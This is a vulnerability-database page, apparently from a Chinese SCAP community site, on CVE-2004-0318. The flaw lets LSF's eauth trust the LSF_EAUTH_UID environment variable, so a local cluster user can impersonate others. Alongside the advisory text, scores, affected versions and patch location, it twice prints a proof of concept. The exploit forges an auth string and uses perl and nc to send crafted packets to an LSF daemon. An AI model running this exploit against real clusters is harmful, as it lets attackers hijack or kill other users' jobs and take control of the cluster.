CVE-2004-0318
CVSS10.0
发布时间 :2004-11-23 00:00:00
修订时间 :2016-10-17 22:43:44
NMCOES    

[原文]Load Sharing Facility (LSF) 4.x, 5.x, and 6.x uses the LSF_EAUTH_UID environment variable, if it exists, instead of the real UID of the user, which could allow remote attackers within the local cluster to gain privileges.


[CNNVD]Platform Load Sharing Facility EAuth权限提升漏洞(CNNVD-200411-081)

        
        Load Sharing Facility (LSF)是一款由Platform公司开发的分布式异构计算机环境的负载管理系统。
        Load Sharing Facility eauth组件不正确调用二进制程序,本地攻击者可以利用这个漏洞提升权限。
        "eauth"在执行时,会检查LSF_EAUTH_UID环境变量,如果找到此环境变量,它就会使用这个来代替实际用户UID。攻击者可以在系统中生成任意用户的验证字符串,它可以控制集群上其他用户的行为,更甚的是一些验证字符串用于部分管理命令,因此攻击者可以控制集群自身。
        要窃取其他用户的进程,攻击者需要知道用户的验证数据,大部分情况下攻击者只许知道"lsfadmin"验证数据,因为此用户可以控制其他用户的进程。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:platform:lsf:4.0
cpe:/a:platform:lsf:5.0
cpe:/a:platform:lsf:4.2
cpe:/a:platform:lsf:5.1
cpe:/a:platform:lsf:6.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0318
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0318
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200411-081
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=107756600403557&w=2
(UNKNOWN)  BUGTRAQ  20040223 Lam3rZ Security Advisory #2/2004: LSF eauth vulnerability leads to a possibility of controlling cluster jobs on behalf of other users
http://www.securityfocus.com/bid/9724
(VENDOR_ADVISORY)  BID  9724
http://xforce.iss.net/xforce/xfdb/15278
(VENDOR_ADVISORY)  XF  lsf-eauth-process-hijack(15278)

- 漏洞信息

Platform Load Sharing Facility EAuth权限提升漏洞
危急 设计错误
2004-11-23 00:00:00 2005-10-20 00:00:00
远程  
        
        Load Sharing Facility (LSF)是一款由Platform公司开发的分布式异构计算机环境的负载管理系统。
        Load Sharing Facility eauth组件不正确调用二进制程序,本地攻击者可以利用这个漏洞提升权限。
        "eauth"在执行时,会检查LSF_EAUTH_UID环境变量,如果找到此环境变量,它就会使用这个来代替实际用户UID。攻击者可以在系统中生成任意用户的验证字符串,它可以控制集群上其他用户的行为,更甚的是一些验证字符串用于部分管理命令,因此攻击者可以控制集群自身。
        要窃取其他用户的进程,攻击者需要知道用户的验证数据,大部分情况下攻击者只许知道"lsfadmin"验证数据,因为此用户可以控制其他用户的进程。
        

- 公告与补丁

        厂商补丁:
        Platform
        --------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        FTP Server: ftp.platform.com
        Path: patches//os//eauth*
        Example: patches/5.1/os/sparc-sol7-64/eauth5.1_sparc-sol7-64.Z

- 漏洞信息 (23743)

Platform Load Sharing Facility 4/5/6 EAuth Privilege Escalation Vulnerability (EDBID:23743)
linux local
2003-02-23 Verified
0 Tomasz Grabowski
N/A [点击下载]
source: http://www.securityfocus.com/bid/9724/info

Load Sharing Facility eauth component has been reported prone to privilege escalation vulnerability. The eauth component is responsible for controlling authentication procedures within Load Sharing Facility. An issue has been reported where an attacker may send commands to Load Sharing Facility as any user. The issue presents itself because eauth uses an environment variable to determine the UID of the user invoking the binary.

$cat /etc/passwd|grep cadence
cadence:x:500:500:Tomasz Grabowski:/home/cadence:/bin/bash
$ export LSF_EAUTH_UID=500
$ eauth -c hostname
,',0/%+-$%$&&,/)

Now, she needs to send packets. She can do it, for the sake of simplicity,
using Perl and NetCat software:

(
# first packet
perl -e 'print "\x04\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00";
print "\x00\x00\x00\x00";
'
sleep 1;

#let's call it a header, packet length
perl -e 'print "\x00\x04\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x40";
#below we provide UID, GID and length of user name
print "\x00\x00\x00\x00\x00\x00\x03\xee\x00\x00\x03\xee\x00\x00\x00\x07";
#below is the user name, end indicator, and probably auth data field length
print "\x63\x61\x64\x65\x6e\x63\x65\x00\x00\x00\x00\x03\x00\x00\x00\x10";
#again authentication length and auth data itself
print "\x00\x00\x00\x10\x2a\x30\x26\x24\x21\x25\x2e\x23\x2c\x23\x27\x2d";
#rest of auth data, end indicator, question code (x09 - bkill) and process number
print "\x2f\x28\x2b\x25\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00\x00\x77";
print "\x00\x00\x00\x00";
'
#send it to the target daemon
) | nc 192.168.10.106 6881		

- 漏洞信息

6812
Load Sharing Facility LSF_EAUTH_UID Variable Privilege Escalation

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-02-23 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Platform Load Sharing Facility EAuth Privilege Escalation Vulnerability
Design Error 9724
Yes No
2004-02-23 12:00:00 2009-07-12 03:06:00
Discovery of this vulnerability has been credited to Tomasz Grabowski <cadence@aci.com.pl>.

- 受影响的程序版本

Platform LSF 6.0
Platform LSF 5.1
Platform LSF 5.0
Platform LSF 4.2
- HP HP-UX 11.20
- IBM AIX 4.3.3
- Microsoft Windows 2000 Professional SP3
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- SGI IRIX 6.5.14
- SGI IRIX 6.5.13
- SGI IRIX 6.5.12
- SGI IRIX 6.5.11
- SGI IRIX 6.5.10
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Platform LSF 4.0
- HP HP-UX 11.20
- IBM AIX 4.3.3
- Microsoft Windows 2000 Professional SP3
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- SGI IRIX 6.5.14
- SGI IRIX 6.5.13
- SGI IRIX 6.5.12
- SGI IRIX 6.5.11
- SGI IRIX 6.5.10
- Sun Solaris 8_sparc
- Sun Solaris 7.0

- 漏洞讨论

Load Sharing Facility eauth component has been reported prone to privilege escalation vulnerability. The eauth component is responsible for controlling authentication procedures within Load Sharing Facility. An issue has been reported where an attacker may send commands to Load Sharing Facility as any user. The issue presents itself because eauth uses an environment variable to determine the UID of the user invoking the binary.

- 漏洞利用

The following example has been supplied:

$cat /etc/passwd|grep cadence
cadence:x:500:500:Tomasz Grabowski:/home/cadence:/bin/bash
$ export LSF_EAUTH_UID=500
$ eauth -c hostname
,',0/%+-$%$&amp;&amp;,/)

Now, she needs to send packets. She can do it, for the sake of simplicity,
using Perl and NetCat software:

(
# first packet
perl -e 'print "\x04\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00";
print "\x00\x00\x00\x00";
'
sleep 1;

#let's call it a header, packet length
perl -e 'print "\x00\x04\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x40";
#below we provide UID, GID and length of user name
print "\x00\x00\x00\x00\x00\x00\x03\xee\x00\x00\x03\xee\x00\x00\x00\x07";
#below is the user name, end indicator, and probably auth data field length
print "\x63\x61\x64\x65\x6e\x63\x65\x00\x00\x00\x00\x03\x00\x00\x00\x10";
#again authentication length and auth data itself
print "\x00\x00\x00\x10\x2a\x30\x26\x24\x21\x25\x2e\x23\x2c\x23\x27\x2d";
#rest of auth data, end indicator, question code (x09 - bkill) and process number
print "\x2f\x28\x2b\x25\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00\x00\x77";
print "\x00\x00\x00\x00";
'
#send it to the target daemon
) | nc 192.168.10.106 6881

- 解决方案

The vendor has provided a fix to address this issue. Although unconfirmed, it has been reported that customers may download an appropriate patch as follows:

FTP Server: ftp.platform.com
Path: patches/<version>/os/<os>/eauth*
Example: patches/5.1/os/sparc-sol7-64/eauth5.1_sparc-sol7-64.Z

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站